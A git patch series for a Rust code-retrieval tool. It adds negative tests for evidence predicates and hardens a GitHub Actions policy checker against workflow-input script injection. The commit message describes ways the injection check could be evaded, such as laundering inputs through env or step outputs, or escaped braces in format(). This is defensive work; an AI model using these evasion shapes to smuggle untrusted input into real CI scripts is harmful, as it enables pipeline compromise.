))); + assert!(citation_owns_client_request_finalization(&citation( + "BaseRequest.finalize", + "lib/base_request.dart", + NodeKind::METHOD + ))); + } } diff --git a/crates/codestory-runtime/src/agent/packet_flow_requirements.rs b/crates/codestory-runtime/src/agent/packet_flow_requirements.rs index 6a9912222..d9376b43b 100644 --- a/crates/codestory-runtime/src/agent/packet_flow_requirements.rs +++ b/crates/codestory-runtime/src/agent/packet_flow_requirements.rs @@ -1463,4 +1463,125 @@ mod tests { be exercising them (checked {checked_pairs})" ); } + + /// Symbols of the kind retrieval turns up in any repository, none of which prove anything about + /// any flow requirement in the tables. + /// + /// The positive witnesses above only show each predicate accepts *one* hand-picked anchor. They + /// cannot see a predicate that also accepts everything else, and that is exactly what happened: + /// `citation_owns_format_errors` matched any symbol whose name contained "error" anywhere in + /// the repository, `citation_owns_hook_public_export` matched any name starting with the three + /// letters "use", and `citation_owns_form_native_constraint` matched the unanchored substring + /// "min" — so `CliParseError`, `userProfile` and `adminPanel` each closed a requirement they + /// have nothing to do with, and packets carrying them published as sufficient. + /// + /// Every entry must be rejected by every requirement. Adding a needle to a carrier without + /// checking it here is how the next false-safe verdict gets in. + fn unrelated_repository_symbols() -> Vec { + vec![ + witness("CliParseError", "src/cli/parse.cc", NodeKind::FUNCTION), + witness("assert_valid_utf8", "src/text/utf8.rs", NodeKind::FUNCTION), + witness("panic_hook", "src/runtime/panic.rs", NodeKind::FUNCTION), + witness("failToOpenSocket", "src/net/socket.go", NodeKind::FUNCTION), + witness("userProfile", "src/session/user.ts", NodeKind::FUNCTION), + witness("useragentString", "src/http/headers.ts", NodeKind::FUNCTION), + witness("determineFieldOrder", "src/layout.js", NodeKind::FUNCTION), + witness("adminPanel", "src/admin.js", NodeKind::FUNCTION), + witness("terminalWidth", "src/tty.js", NodeKind::FUNCTION), + witness("submitTelemetry", "src/telemetry.js", NodeKind::FUNCTION), + witness("Cache.write", "lib/cache.rb", NodeKind::METHOD), + witness("Uri.prepare", "lib/uri.dart", NodeKind::METHOD), + witness("ProjectSettings", "src/settings.rs", NodeKind::STRUCT), + witness("parseTimestamp", "src/time/parse.ts", NodeKind::FUNCTION), + witness("RowIterator", "src/db/rows.rs", NodeKind::STRUCT), + witness("MigrationRunner", "src/db/migrate.rb", NodeKind::CLASS), + ] + } + + #[test] + fn no_requirement_is_closed_by_an_unrelated_repository_symbol() { + let mut checked = 0; + for requirement in all_flow_requirements() { + // `CitedRoles` requirements delegate to the evidence-role classifier, which is coarse + // on purpose: it answers "is this source evidence at all", not "does this prove my + // step". The carriers are the per-requirement checks and the only predicates that + // claim to separate one requirement from everything else, so they are what this + // corpus holds to account. + if !matches!(requirement.evidence, EvidencePredicate::CitedCarrier(_)) { + continue; + } + for symbol in unrelated_repository_symbols() { + checked += 1; + assert!( + !requirement.evidence.citation_proves(&symbol), + "requirement {} is closed by `{}` at `{}`, which has nothing to do with it: a \ + predicate that accepts arbitrary repository symbols reports sufficient on \ + packets that proved nothing", + requirement.id, + symbol.display_name, + symbol.file_path.as_deref().unwrap_or_default() + ); + } + } + assert!( + checked >= 300, + "the negative corpus must actually be exercised against the tables (checked {checked})" + ); + } + + /// Stronger than the same-role test above: inside one flow, *no* requirement may be closed by + /// another requirement's evidence, whatever roles the two wear. Roles were never the thing that + /// separated requirements; their evidence is. + #[test] + fn no_requirement_in_a_flow_is_closed_by_another_requirements_witness() { + let witnesses = requirement_witnesses(); + let witness_for = |requirement: &FlowRequirement| { + let key = (requirement.id, requirement.role_id()); + witnesses + .iter() + .find(|(witness_key, _)| *witness_key == key) + .map(|(_, citation)| citation.clone()) + .unwrap_or_else(|| panic!("missing witness for {key:?}")) + }; + + let mut checked_pairs = 0; + for (group, requirements) in all_flow_requirement_groups() { + for (index, left) in requirements.iter().enumerate() { + for right in requirements.iter().skip(index + 1) { + if left.id == right.id { + continue; + } + // Role-classified predicates are deliberately coarse; the carriers are the + // per-requirement checks, so they are what this invariant holds to account. + if !matches!(left.evidence, EvidencePredicate::CitedCarrier(_)) + || !matches!(right.evidence, EvidencePredicate::CitedCarrier(_)) + { + continue; + } + checked_pairs += 1; + let left_witness = witness_for(left); + let right_witness = witness_for(right); + assert!( + !right.evidence.citation_proves(&left_witness), + "in flow {group}, the anchor proving {} also closes {}: one anchor must \ + not close two requirements", + left.id, + right.id + ); + assert!( + !left.evidence.citation_proves(&right_witness), + "in flow {group}, the anchor proving {} also closes {}: one anchor must \ + not close two requirements", + right.id, + left.id + ); + } + } + } + assert!( + checked_pairs >= 15, + "this invariant must actually be exercising carrier-backed requirement pairs (checked \ + {checked_pairs})" + ); + } } diff --git a/crates/codestory-runtime/src/agent/packet_sufficiency.rs b/crates/codestory-runtime/src/agent/packet_sufficiency.rs index 6d0d887f5..040bf713a 100644 --- a/crates/codestory-runtime/src/agent/packet_sufficiency.rs +++ b/crates/codestory-runtime/src/agent/packet_sufficiency.rs @@ -113,6 +113,14 @@ fn assemble_packet_sufficiency_with_route_probes( assemble_packet_sufficiency_with_probe_context(input, selected_probes, &[]) } +#[cfg(test)] +fn assemble_packet_sufficiency_with_exact_paths( + input: PacketSufficiencyInput<'_>, + exact_probe_paths: &[String], +) -> PacketSufficiencyDto { + assemble_packet_sufficiency_with_probe_context(input, &[], exact_probe_paths) +} + fn assemble_packet_sufficiency_with_probe_context( input: PacketSufficiencyInput<'_>, selected_probes: &[String], @@ -247,21 +255,24 @@ fn assemble_packet_sufficiency_with_probe_context( // A requested path the packet never proved anything about is the most specific thing a caller // can act on, so it leads the follow-up list. Appending it last let the command cap drop it // whenever enough flow probes were also missing — exactly when the caller needed it most. - let mut blocking_follow_up_probe_queries = Vec::new(); - for path in &missing_exact_path_claims { - push_unique_term(&mut blocking_follow_up_probe_queries, path); - } + // Putting every path first only moved the loss: with enough unproven paths, the flow probes + // fell off the end instead. Interleaving keeps a path in front and starves neither kind. + let mut blocking_follow_up_probe_query_seeds = Vec::new(); for query in &blocking_probe_queries { - push_unique_term(&mut blocking_follow_up_probe_queries, query); + push_unique_term(&mut blocking_follow_up_probe_query_seeds, query); } if blocking_probe_queries.is_empty() { for query in &missing_required_probe_queries { - push_unique_term(&mut blocking_follow_up_probe_queries, query); + push_unique_term(&mut blocking_follow_up_probe_query_seeds, query); } } for query in &route_proof.follow_up_queries { - push_unique_term(&mut blocking_follow_up_probe_queries, query); + push_unique_term(&mut blocking_follow_up_probe_query_seeds, query); } + let blocking_follow_up_probe_queries = packet_interleave_follow_up_queries( + &missing_exact_path_claims, + &blocking_follow_up_probe_query_seeds, + ); let follow_up_probe_queries = if blocking_follow_up_probe_queries.is_empty() { &missing_required_probe_queries } else { @@ -6703,6 +6714,234 @@ mod tests { ); } } + + #[test] + fn a_flow_probe_survives_the_follow_up_cap_when_exact_paths_fill_it() { + let question = "Explain how formatting arguments become type-erased format args and reach vformat or format_to output paths."; + let answer = answer_fixture(question); + let budget = budget_fixture(); + // Enough unproven exact paths to fill the eight-command cap on their own. Leading with the + // paths fixed one drop and created its mirror image: the flow probe the packet is actually + // missing fell off the end instead. Both kinds have to survive. + let exact_paths = [ + "src/one.rs", + "src/two.rs", + "src/three.rs", + "src/four.rs", + "src/five.rs", + "src/six.rs", + "src/seven.rs", + "src/eight.rs", + "src/nine.rs", + ] + .map(str::to_string); + let claims = vec![ + evidence_claim( + "Runtime formatting uses type-erased arguments before dispatching formatted output helpers.", + anchor_at("basic_format_args", "include/fmt/base.h"), + ), + evidence_claim( + "Runtime formatting writes formatted output through output iterator helpers.", + anchor_at("vformat_to", "include/fmt/format.h"), + ), + ]; + + let sufficiency = assemble_packet_sufficiency_with_exact_paths( + PacketSufficiencyInput { + project_root: Path::new("C:/workspace/project"), + question, + task_class: PacketTaskClassDto::ArchitectureExplanation, + answer: &answer, + budget: &budget, + supported_claims: claims, + missing_required_probe_queries: vec!["format error".to_string()], + targeted_follow_up_queries: Vec::new(), + }, + &exact_paths, + ); + + assert_eq!(sufficiency.status, PacketSufficiencyStatusDto::Partial); + assert!( + sufficiency + .follow_up_commands + .iter() + .any(|command| command.contains("--query 'format error'")), + "the missing flow probe must survive the command cap even when unproven exact paths \ + could fill it: {:?}", + sufficiency.follow_up_commands + ); + assert!( + sufficiency + .follow_up_commands + .iter() + .any(|command| command.contains("src/one.rs")), + "an unproven exact path must still lead the follow-up list: {:?}", + sufficiency.follow_up_commands + ); + } + + // ----------------------------------------------------------------------- + // Off-subject anchors must not close a requirement. + // + // The per-requirement carriers read the citation, which is the right shape, but a carrier that + // matches an unanchored substring of the symbol name accepts anchors from anywhere in the + // repository. These fixtures plant exactly that shape: a packet that genuinely proves some of + // its flow, plus one anchor whose name merely *contains* another requirement's needle while + // belonging to an unrelated subsystem. Each of these returned `Sufficient` before the carriers + // were scoped. + // ----------------------------------------------------------------------- + + #[test] + fn an_unrelated_error_type_does_not_close_the_runtime_formatting_error_requirement() { + let question = "Explain how formatting arguments become type-erased format args and reach vformat or format_to output paths."; + let answer = answer_fixture(question); + let budget = budget_fixture(); + // `CliParseError` is a command-line parser error in a different subsystem. Its name contains + // "error", which is all the `format_errors` carrier used to ask for. + let claims = vec![ + evidence_claim( + "Runtime formatting uses type-erased arguments before dispatching formatted output helpers.", + anchor_at("basic_format_args", "include/fmt/base.h"), + ), + evidence_claim( + "Runtime formatting writes formatted output through output iterator helpers.", + anchor_at("vformat_to", "include/fmt/format.h"), + ), + evidence_claim( + "Command-line parsing reports malformed arguments to the caller.", + anchor_at("CliParseError", "src/cli/parse.cc"), + ), + ]; + + let sufficiency = assemble_packet_sufficiency(PacketSufficiencyInput { + project_root: Path::new("C:/workspace/project"), + question, + task_class: PacketTaskClassDto::ArchitectureExplanation, + answer: &answer, + budget: &budget, + supported_claims: claims, + missing_required_probe_queries: Vec::new(), + targeted_follow_up_queries: Vec::new(), + }); + + assert_eq!( + sufficiency.status, + PacketSufficiencyStatusDto::Partial, + "an error type from an unrelated subsystem must not prove the formatting error path: \ + {sufficiency:?}" + ); + let report = sufficiency.coverage_report.as_ref().unwrap(); + assert!( + report.missing.iter().any(|gap| gap == "format_errors"), + "the formatting error requirement must still be named as missing: {report:?}" + ); + } + + #[test] + fn an_unrelated_use_prefixed_symbol_does_not_close_the_hook_export_requirement() { + let question = + "Explain how the data fetching hook serializes cache keys and applies mutations."; + let answer = answer_fixture(question); + let budget = budget_fixture(); + // `userProfile` is a session model. It starts with "use", which is all the + // `hook_public_export` carrier used to ask for. + let claims = vec![ + evidence_claim( + "Cache keys are serialized to a stable string before lookup.", + anchor_at("serializeKey", "src/_internal/utils/serialize.ts"), + ), + evidence_claim( + "A cache helper owns the shared store the hook reads through.", + anchor_at("makeCacheHelper", "src/_internal/utils/helper.ts"), + ), + evidence_claim( + "Mutations revalidate the cached entry after they apply.", + anchor_at("applyMutation", "src/_internal/utils/mutate.ts"), + ), + evidence_claim( + "The session model describes the signed-in user.", + anchor_at("userProfile", "src/session/user.ts"), + ), + ]; + + let sufficiency = assemble_packet_sufficiency(PacketSufficiencyInput { + project_root: Path::new("C:/workspace/project"), + question, + task_class: PacketTaskClassDto::ArchitectureExplanation, + answer: &answer, + budget: &budget, + supported_claims: claims, + missing_required_probe_queries: Vec::new(), + targeted_follow_up_queries: Vec::new(), + }); + + assert_eq!( + sufficiency.status, + PacketSufficiencyStatusDto::Partial, + "a session model that merely starts with `use` must not prove the hook's public \ + export: {sufficiency:?}" + ); + let report = sufficiency.coverage_report.as_ref().unwrap(); + assert!( + report.missing.iter().any(|gap| gap == "hook_public_export"), + "the hook export requirement must still be named as missing: {report:?}" + ); + } + + #[test] + fn unrelated_javascript_symbols_do_not_close_the_form_validation_flow() { + let question = "Explain how the form validation examples combine native HTML constraints with custom JavaScript validation."; + let answer = answer_fixture(question); + let budget = budget_fixture(); + // Form-shaped prose over anchors that touch no form at all. This is the shape that evades: + // the wording clears the claim-family floor, so nothing else holds the packet back, and the + // anchors match only because their names *contain* a needle — "determineFieldOrder" + // contains "min", "invalidateRecordCache" contains "validate", "submitTelemetry" contains + // "submit". Together they closed the entire flow and the packet published as sufficient. + let claims = vec![ + evidence_claim( + "The form validation examples use native required, pattern, min, and max constraints.", + anchor_at("determineFieldOrder", "src/layout.js"), + ), + evidence_claim( + "A custom validation example applies script-driven validity checks before rendering messages.", + anchor_at("invalidateRecordCache", "src/cache.js"), + ), + evidence_claim( + "Submit handlers prevent submission when the form is invalid.", + anchor_at("submitTelemetry", "src/telemetry.js"), + ), + ]; + + let sufficiency = assemble_packet_sufficiency(PacketSufficiencyInput { + project_root: Path::new("C:/workspace/project"), + question, + task_class: PacketTaskClassDto::ArchitectureExplanation, + answer: &answer, + budget: &budget, + supported_claims: claims, + missing_required_probe_queries: Vec::new(), + targeted_follow_up_queries: Vec::new(), + }); + + assert_eq!( + sufficiency.status, + PacketSufficiencyStatusDto::Partial, + "layout, cache, and telemetry symbols prove nothing about form validation: \ + {sufficiency:?}" + ); + let report = sufficiency.coverage_report.as_ref().unwrap(); + for requirement in [ + "form_native_constraints", + "form_custom_validation", + "form_submit_guard", + ] { + assert!( + report.missing.iter().any(|gap| gap == requirement), + "{requirement} must still be named as missing: {report:?}" + ); + } + } } fn packet_has_sufficiency_blocking_budget_omission( @@ -6836,6 +7075,30 @@ fn packet_follow_up_trail_commands(quoted_project: &str, queries: &[String]) -> commands } +/// Merge unproven exact paths with missing flow probes so the eight-command cap cannot silently +/// drop either kind. Taking one from each list in turn keeps a path in the lead — it is the most +/// specific thing a caller can act on — while guaranteeing the probes the packet is actually +/// missing are still represented once the list is truncated. +fn packet_interleave_follow_up_queries(paths: &[String], probes: &[String]) -> Vec { + let mut merged = Vec::new(); + let mut paths = paths.iter(); + let mut probes = probes.iter(); + loop { + let path = paths.next(); + let probe = probes.next(); + if path.is_none() && probe.is_none() { + break; + } + if let Some(path) = path { + push_unique_term(&mut merged, path); + } + if let Some(probe) = probe { + push_unique_term(&mut merged, probe); + } + } + merged +} + fn packet_follow_up_search_commands(quoted_project: &str, queries: &[String]) -> Vec { let mut commands = Vec::new(); for query in queries { From 4d6227db2e3b0bb4093ac52abf356808cc6e0206 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 13:17:19 -0500 Subject: [PATCH 055/132] keep the lane rustfmt-clean cargo fmt --check is a rust-ci gate and both search_plan.rs and the generalization guard suite were already failing it on this branch. Co-Authored-By: Claude Opus 5 --- crates/codestory-runtime/src/search_plan.rs | 4 +- .../tests/retrieval_generalization_guard.rs | 54 +++++++++++-------- 2 files changed, 32 insertions(+), 26 deletions(-) diff --git a/crates/codestory-runtime/src/search_plan.rs b/crates/codestory-runtime/src/search_plan.rs index 86805a531..a41d5d024 100644 --- a/crates/codestory-runtime/src/search_plan.rs +++ b/crates/codestory-runtime/src/search_plan.rs @@ -60,9 +60,7 @@ pub(super) fn search_plan_eligible( let has_seed_anchors = query.contains(SEARCH_PLAN_SEED_ANCHOR_MARKER); !intents.is_empty() && broad_query - && (exact_symbol_hit_count == 0 - || has_seed_anchors - || search_plan_prose_flow_prompt(query)) + && (exact_symbol_hit_count == 0 || has_seed_anchors || search_plan_prose_flow_prompt(query)) } /// A flow question that names no identifier of its own: every exact symbol hit diff --git a/crates/codestory-runtime/tests/retrieval_generalization_guard.rs b/crates/codestory-runtime/tests/retrieval_generalization_guard.rs index 1add245a9..b08f17376 100644 --- a/crates/codestory-runtime/tests/retrieval_generalization_guard.rs +++ b/crates/codestory-runtime/tests/retrieval_generalization_guard.rs @@ -875,13 +875,10 @@ fn run_lint_with_fixture_and_task_root(contents: &str, task_root: Option<&Path>) .lock() .expect("lock lint script subprocess"); let mut command = Command::new("node"); - command - .arg(&script) - .current_dir(&repo_root) - .env( - "CODESTORY_RETRIEVAL_GENERALIZATION_SCAN_ROOTS", - fixture_root.path(), - ); + command.arg(&script).current_dir(&repo_root).env( + "CODESTORY_RETRIEVAL_GENERALIZATION_SCAN_ROOTS", + fixture_root.path(), + ); if let Some(task_root) = task_root { command.env( "CODESTORY_RETRIEVAL_GENERALIZATION_EXTRA_TASK_ROOTS", @@ -972,8 +969,14 @@ fn derived_patterns_with_extra_task(manifest: &str) -> Vec { .arg(&script) .current_dir(&repo_root) .env("CODESTORY_RETRIEVAL_GENERALIZATION_SCAN_ROOTS", &scan_root) - .env("CODESTORY_RETRIEVAL_GENERALIZATION_EXTRA_TASK_ROOTS", &task_root) - .env("CODESTORY_RETRIEVAL_GENERALIZATION_DUMP_PATTERNS", &dump_path) + .env( + "CODESTORY_RETRIEVAL_GENERALIZATION_EXTRA_TASK_ROOTS", + &task_root, + ) + .env( + "CODESTORY_RETRIEVAL_GENERALIZATION_DUMP_PATTERNS", + &dump_path, + ) .output() .expect("run lint with self-subject probe"); assert!( @@ -1136,7 +1139,12 @@ fn lint_guarded_paths() -> Vec { serde_json::from_str(&std::fs::read_to_string(&dump_path).expect("read guarded paths")) .expect("parse guarded paths"); let mut guarded = Vec::new(); - for group in ["productionDirs", "productionFiles", "corpusDirs", "lintFiles"] { + for group in [ + "productionDirs", + "productionFiles", + "corpusDirs", + "lintFiles", + ] { for entry in doc .get(group) .and_then(|value| value.as_array()) @@ -1157,7 +1165,9 @@ fn lint_guarded_paths() -> Vec { /// to this crate for one assertion. fn workflow_trigger_paths(workflow: &str, trigger: &str) -> Vec { let header = format!(" {trigger}:"); - let mut lines = workflow.lines().skip_while(|line| line.trim_end() != header); + let mut lines = workflow + .lines() + .skip_while(|line| line.trim_end() != header); assert!( lines.next().is_some(), "workflow has no `{trigger}:` trigger" @@ -1325,7 +1335,13 @@ fn ban_fired_for( fn corpus_manifest_names(corpus: &Path) -> Vec { let mut names = std::fs::read_dir(corpus) .expect("read benchmark task corpus") - .map(|entry| entry.expect("corpus entry").file_name().to_string_lossy().into_owned()) + .map(|entry| { + entry + .expect("corpus entry") + .file_name() + .to_string_lossy() + .into_owned() + }) .collect::>(); names.sort(); names @@ -1398,10 +1414,7 @@ const CORPUS_NAMES_RULED_OUT_OF_THE_BAN: &[(&str, &str)] = &[ "CodeStory", "this repository is its own benchmark subject; banning it forbids the product from naming itself", ), - ( - "codestory", - "same subject under its lowercase slug", - ), + ("codestory", "same subject under its lowercase slug"), ( "express", "codestory-indexer/src/framework_routes.rs extracts Express routes as a parser-backed product feature and has to name the framework it parses", @@ -1455,9 +1468,7 @@ fn linter_bans_holdout_repository_names_on_identifier_boundaries() { ]; // The identifier shapes need a name that is legal identifier text; the // hyphenated slugs (`chinook-database`) can only be planted as literals. - if name - .chars() - .all(|c| c.is_ascii_alphanumeric() || c == '_') + if name.chars().all(|c| c.is_ascii_alphanumeric() || c == '_') && name.starts_with(|c: char| c.is_ascii_alphabetic()) { shapes.push(( @@ -1470,10 +1481,7 @@ fn linter_bans_holdout_repository_names_on_identifier_boundaries() { )); shapes.push(( format!("repo_const_{index}.rs"), - format!( - "pub const {}_PATH_BOOST: f32 = 1.5;\n", - name.to_uppercase() - ), + format!("pub const {}_PATH_BOOST: f32 = 1.5;\n", name.to_uppercase()), format!("{}_PATH_BOOST", name.to_uppercase()), )); } From f6035176cc03f0c1428420a201c2ba5a37a47e1a Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 14:05:07 -0500 Subject: [PATCH 056/132] refuse the channels a dispatch input can hide in, and bound the span that finds it The generic rule landed with three holes, all of which passed policy and actionlint. Naming the `inputs` context reads where the value is at the moment the rule looks, not what the value is. One hop moved it out of view: a job-level `env: LAUNDERED: ${{ inputs.ref }}` read back as `${{ env.LAUNDERED }}`, or a step that writes `$INPUT_REF` to `$GITHUB_OUTPUT` and a later `${{ steps.launder.outputs.ref }}`. Both are still spliced into script text before any shell exists. `env` was the likely one: this branch created 117 step-level bindings carrying inputs, so `${{ env.FOO }}` was the natural next thing to write. The rule now refuses the channels with the context -- `env`, `steps.*.outputs.*`, `needs.*.outputs.*` -- and 44 sites move to `env:` bindings, the same remedy applied 117 times already. Two tests that asserted step and job outputs were "not a violation" are replaced: that claim was false, and the tests would have failed anyone closing the hole. Where a fragment pin named the interpolation, it now names the variable and a binding pin names the value, so neither half can go missing alone. The span scanner was non-greedy to the first `}}`, which is not always the terminator. GitHub documents `{{`/`}}` as the brace escape inside `format()`, and `${{ format('{{Hello {0}}}', inputs.ref) }}` was cut to `${{ format('{{Hello {0}}`, naming no context and reporting the file clean. Braces are counted instead and single-quoted literals skipped whole; an expression that never closes yields the rest of the text rather than nothing. marketplace-sync's two `[^}]*` matchers read through the same scanner now. `continue-on-error` on plugin-static.yml's `Check workflow policy` step would have silenced this file and its whole suite green: the commands were pinned, the blocking-ness was not. Rather than a third one-off, absorbing a failure is allowed exactly when the failure is still required -- an `id:`, and a blocking step that reads `steps..outcome` outside its own `if:`. source-proof's compile and lint and both catalog pushes satisfy that; the deliberately-optional cache restores are `uses:` steps and stay outside the rule untouched. Routing values into `env:` moves the read from GitHub's interpolator into the shell, and the packaged build matrix includes windows-latest, where the default is pwsh and `"$NAME"` is empty. Seven steps now declare `shell: bash`, and a rule keeps that true, because the failure mode is a proof comparing against an empty string rather than an error. Co-Authored-By: Claude Opus 5 --- .github/scripts/check-workflow-policy.mjs | 324 ++++++++++++++++-- .../scripts/check-workflow-policy.test.mjs | 316 ++++++++++++++++- .github/workflows/packaged-platform-pr.yml | 11 +- .github/workflows/packaged-platform-proof.yml | 45 ++- .github/workflows/plugin-release.yml | 6 +- .../workflows/post-publish-release-smoke.yml | 59 +++- .github/workflows/release.yml | 11 +- 7 files changed, 684 insertions(+), 88 deletions(-) diff --git a/.github/scripts/check-workflow-policy.mjs b/.github/scripts/check-workflow-policy.mjs index 00a74ebb0..f4d875d50 100644 --- a/.github/scripts/check-workflow-policy.mjs +++ b/.github/scripts/check-workflow-policy.mjs @@ -1998,7 +1998,13 @@ function validateReleaseCoordinator(workflows, violations, graph) { requireStepRun(violations, releaseFile, preCloseout, "Evaluate authenticated pre-publish closeout", [ "--trusted-producers", "codestory-release-closeout.mjs evaluate", + '--version "$RELEASE_VERSION"', ]); + // The version the ledger is filed under reaches the evaluator as a variable, so the command text + // alone no longer says which release it closed out. + requireStepEnv(violations, releaseFile, preCloseout, "Evaluate authenticated pre-publish closeout", { + RELEASE_VERSION: "${{ needs.preflight.outputs.version }}", + }); const devRevalidation = namedStep(preCloseout, "Revalidate proof-only dev head"); add( violations, @@ -2087,6 +2093,14 @@ function validateReleaseCoordinator(workflows, violations, graph) { `${releaseFile} marketplace token must be a SHA-pinned app token scoped to the marketplace repository`, ); violations.push(...catalogDeliveryOutcomeViolations(releaseFile, marketplacePublish, catalogDelivery)); + // The version the catalog is pointed at reaches the push as a variable, so the command text no + // longer says which release it published. Both halves are pinned, as in the plugin lane. + requireStepRun(violations, releaseFile, marketplacePublish, "Point the catalog at the published release", [ + '--version "$RELEASE_VERSION"', + ]); + requireStepEnv(violations, releaseFile, marketplacePublish, "Point the catalog at the published release", { + RELEASE_VERSION: "${{ needs.preflight.outputs.version }}", + }); requireStepRun(violations, releaseFile, preflight, "Prove the public marketplace install path", [ "build-marketplace-fixture.mjs", "--local-fixture true", @@ -2167,7 +2181,11 @@ function validateReleaseCoordinator(workflows, violations, graph) { "--trusted-producers", "--pre-publish-ledger", "codestory-release-closeout.mjs evaluate", + '--version "$RELEASE_VERSION"', ]); + requireStepEnv(violations, releaseFile, postCloseout, "Evaluate authenticated post-publish closeout", { + RELEASE_VERSION: "${{ needs.preflight.outputs.version }}", + }); requireStepUses(violations, releaseFile, postCloseout, "Upload accepted post-publish closeout", "actions/upload-artifact@v7.0.1"); for (const [jobName, job] of [ ["Metal proof", metal], @@ -2608,21 +2626,30 @@ function validatePackagedProof(workflows, violations, graph) { "CARGO_TARGET_DIR=/workspace/target/glibc-2.31", "CXXFLAGS=-std=c++17", ]); - for (const smokeStep of [ - "Smoke packaged release asset", - "Smoke packaged release asset on Windows", + // The identity the smoke reads is the one `source-identity` proved against the dispatched ref, + // and it now arrives through `env:` rather than spliced into the command. Both halves are pinned: + // the script names the variable, and the variable names that step's output. + const sourceIdentityBindings = { + SOURCE_SHA: "${{ steps.source-identity.outputs.sha }}", + SOURCE_TREE: "${{ steps.source-identity.outputs.tree }}", + }; + for (const [smokeStep, sha, tree] of [ + ["Smoke packaged release asset", '"$SOURCE_SHA"', '"$SOURCE_TREE"'], + ["Smoke packaged release asset on Windows", '"$env:SOURCE_SHA"', '"$env:SOURCE_TREE"'], ]) { requireStepRun(violations, file, job, smokeStep, [ - '--expected-source-sha "${{ steps.source-identity.outputs.sha }}"', - '--expected-source-tree "${{ steps.source-identity.outputs.tree }}"', + `--expected-source-sha ${sha}`, + `--expected-source-tree ${tree}`, ]); + requireStepEnv(violations, file, job, smokeStep, sourceIdentityBindings); } requireStepRun(violations, file, job, "Report fresh package identity", [ "archive_sha256=", - "Source SHA:", - "Source tree:", + "Source SHA: \\`$SOURCE_SHA\\`", + "Source tree: \\`$SOURCE_TREE\\`", "Archive SHA-256:", ]); + requireStepEnv(violations, file, job, "Report fresh package identity", sourceIdentityBindings); add( violations, stepIndex(job, "Report fresh package identity") @@ -2929,9 +2956,15 @@ function catalogDeliveryStateViolations(file, job, delivery, handoff, installSte ); } requireStepRun(violations, file, job, installStepName, [ - '--marketplace-source "${{ steps.delivery.outputs.marketplace_source }}"', - '--local-fixture "${{ steps.delivery.outputs.local_fixture }}"', + '--marketplace-source "$MARKETPLACE_SOURCE"', + '--local-fixture "$LOCAL_FIXTURE"', ]); + // The install arguments arrive as variables now, so the command text no longer says which + // delivery state they came from. This binds each variable back to that step's own output. + requireStepEnv(violations, file, job, installStepName, { + MARKETPLACE_SOURCE: "${{ steps.delivery.outputs.marketplace_source }}", + LOCAL_FIXTURE: "${{ steps.delivery.outputs.local_fixture }}", + }); return violations; } @@ -3030,7 +3063,9 @@ function validatePostPublish(workflows, violations, graph) { ); add( violations, - identityRun.includes('--arg installer "${{ steps.delivery.outputs.installer }}"'), + identityRun.includes('--arg installer "$DELIVERED_INSTALLER"') + && object(namedStep(job, "Emit authenticated post-publish release cells")?.env) + .DELIVERED_INSTALLER === "${{ steps.delivery.outputs.installer }}", `${file} post-publish cells must record the resolved delivery installer identity`, ); for (const state of catalogDelivery.states) { @@ -3042,25 +3077,48 @@ function validatePostPublish(workflows, violations, graph) { } const resolveInstalled = namedStep(job, resolveStepName); requireStepRun(violations, file, job, resolveStepName, [ - 'marketplace_revision="${{ steps.delivery.outputs.marketplace_revision }}"', + 'marketplace_revision="$MARKETPLACE_REVISION"', // Re-checked here as an immutable identity, not merely as 40 characters: this job is // dispatchable, so the published branch's revision can arrive from a human. `printf '%s' "$marketplace_revision" | grep -Eq '^[0-9a-f]{40}$'`, '"@openai/codex@$CODEX_CLI_VERSION"', "install-codestory-marketplace-proof.mjs", - '--marketplace-source "${{ steps.delivery.outputs.marketplace_source }}"', + '--marketplace-source "$MARKETPLACE_SOURCE"', '--marketplace-revision "$marketplace_revision"', - '--local-fixture "${{ steps.delivery.outputs.local_fixture }}"', + '--local-fixture "$LOCAL_FIXTURE"', '--source-repository "$GITHUB_WORKSPACE"', "install-attestation-v2.json", 'isolated_home="$install_root/isolated-home"', 'HOME="$isolated_home" node', ]); + // The install arguments arrive as variables, so the command text no longer says which delivery + // state produced them. Each variable is bound back to the step that resolved it. + requireStepEnv(violations, file, job, resolveStepName, { + MARKETPLACE_REVISION: "${{ steps.delivery.outputs.marketplace_revision }}", + MARKETPLACE_SOURCE: "${{ steps.delivery.outputs.marketplace_source }}", + LOCAL_FIXTURE: "${{ steps.delivery.outputs.local_fixture }}", + }); add( violations, namedStep(job, "Prove packaged version, help, and stdio shape")?.shell === "bash", `${file} packaged Python proof must use Bash on every protected platform`, ); + // The published asset this proof reads now arrives through `env:`, so the command text alone no + // longer says which archive or version it proved. + requireStepRun(violations, file, job, "Prove packaged version, help, and stdio shape", [ + '--archive "$ASSET_ARCHIVE"', + '--checksum-file "$ASSET_CHECKSUM"', + '--expected-version "$RELEASE_VERSION"', + ]); + requireStepEnv(violations, file, job, "Prove packaged version, help, and stdio shape", { + ASSET_ARCHIVE: "${{ steps.asset.outputs.archive }}", + ASSET_CHECKSUM: "${{ steps.asset.outputs.checksum }}", + RELEASE_VERSION: "${{ steps.release.outputs.version }}", + }); + // The macOS signing proof quarantines and unpacks the same published archive. + requireStepEnv(violations, file, job, "Prove published macOS signature, notarization, and quarantined execution", { + ASSET_ARCHIVE: "${{ steps.asset.outputs.archive }}", + }); const resolveRun = executableRunText(String(resolveInstalled?.run ?? "")); for (const forbidden of [ "git archive", @@ -3082,7 +3140,8 @@ function validatePostPublish(workflows, violations, graph) { && resolveInstalled?.["continue-on-error"] === undefined, `${file} installed plugin resolution must be unconditional and fail closed`, ); - const installed = namedStep(job, "Prove the catalog-resolved published runtime"); + const installedProofName = "Prove the catalog-resolved published runtime"; + const installed = namedStep(job, installedProofName); add(violations, installed !== undefined, `${file} installed runtime proof step is missing`); add( violations, @@ -3098,7 +3157,7 @@ function validatePostPublish(workflows, violations, graph) { const installedRun = executableRunText(String(installed?.run ?? "")); for (const fragment of [ "python .github/scripts/check-packaged-agent-proof.py", - '--archive "${{ steps.asset.outputs.archive }}"', + '--archive "$ASSET_ARCHIVE"', "--plugin-handoff", "--engine-policy accelerated", '--expected-backend "${{ matrix.backend }}"', @@ -3115,6 +3174,16 @@ function validatePostPublish(workflows, violations, graph) { `${file} installed runtime proof must run ${fragment}`, ); } + // The archive and the resolved installation now reach the proof as variables. Without these the + // command text would read the same whether it proved the published asset or something else. + requireStepEnv(violations, file, job, installedProofName, { + ASSET_ARCHIVE: "${{ steps.asset.outputs.archive }}", + ASSET_CHECKSUM: "${{ steps.asset.outputs.checksum }}", + RELEASE_VERSION: 